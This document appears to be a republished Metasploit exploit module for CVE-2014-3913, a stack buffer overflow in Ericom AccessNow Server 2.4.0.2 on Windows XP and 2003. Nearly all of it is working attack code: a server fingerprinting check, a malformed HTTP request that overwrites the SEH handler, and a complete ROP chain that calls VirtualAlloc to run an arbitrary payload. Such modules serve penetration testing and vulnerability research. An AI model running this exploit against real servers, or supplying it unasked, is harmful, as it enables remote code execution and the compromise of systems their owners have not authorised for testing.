Ericom AccessNow Server – Remote Buffer Overflow (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ericom AccessNow Server Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow in Ericom AccessNow Server. The vulnerability is due to an insecure usage of vsprintf with user controlled data, which can be triggered with a malformed HTTP request. This module has been tested successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003 Server SP2. }, 'Author' => [ 'Unknown', # Vulnerability Discovery 'juan vazquez', # Metasploit Module ], 'References' => [ ['ZDI', '14-160'], ['CVE', '2014-3913'], ['BID', '67777'], ['URL','http://www.ericom.com/security-ERM-2014-610.asp'] ], 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Payload' => { 'Space' => 4096, 'BadChars' => "\x00\x0d\x0a", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Targets' => [ [ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]', { 'RopOffset' => 62, 'Offset' => 30668, 'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll } ] ], 'DisclosureDate' => 'Jun 2 2014', 'DefaultTarget' => 0)) register_options([Opt::RPORT(8080)], self.class) end def check res = send_request_cgi({ 'uri' => '/AccessNow/start.html' }) unless res && res.code == 200 && res.headers['Server'] return Exploit::CheckCode::Safe end if res.headers['Server'] =~ /Ericom AccessNow Server/ return Exploit::CheckCode::Appears # Ericom AccessNow 2.4 elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/ return Exploit::CheckCode::Detected # Ericom AccessNow 3 end Exploit::CheckCode::Unknown end def exploit_uri uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message uri << rand_text(target['RopOffset']) uri << create_rop_chain uri << payload.encoded uri << rand_text(target['Offset'] - uri.length) uri << rand_text(4) # nseh uri << [target.ret].pack("V") # seh uri end def exploit print_status("#{peer} - Sending malformed request...") send_request_raw({ 'method' => 'GET', 'uri' => exploit_uri, 'encode' => false }, 1) end def create_rop_chain # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3 0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3 0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll] 0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll] 0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll] 0x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll] 0x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll] 0x103eed74, # & jmp esp [AccessNowAccelerator32.dll] 0x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll] 0xffffffff, # Value to negate, will become 0x00000001 0x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll] 0x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll] 0x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll] 0xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx) 0x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll] 0x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll] 0x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll] 0x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll] 0x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll] 0x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll] 0x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll] 0x90909090, # nop 0x1052cfce # PUSHAD # RETN [AccessNowAccelerator32.dll] ].pack("V*") rop_gadgets end end |